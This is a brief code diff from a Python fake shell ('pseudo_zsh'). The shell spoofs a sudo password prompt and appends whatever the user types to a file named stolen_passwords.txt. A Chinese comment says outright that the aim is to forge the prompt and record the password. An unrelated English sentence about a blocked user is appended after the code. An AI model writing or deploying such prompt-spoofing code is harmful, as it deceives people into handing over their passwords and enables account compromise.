@@ -39,8 +39,8 @@ def pseudo_zsh():
continue
# 伪造 sudo 密码输入并记录
if args[0] == 'sudo -i':
fake_password = input("Password: ")
if args[0] == 'sudo':
fake_password = input(">Password: ")
with open("stolen_passwords.txt", "a") as f:
f.write(fake_password + "\n")
time.sleep(3) # 模拟延迟
The note is not visible to the blocked user.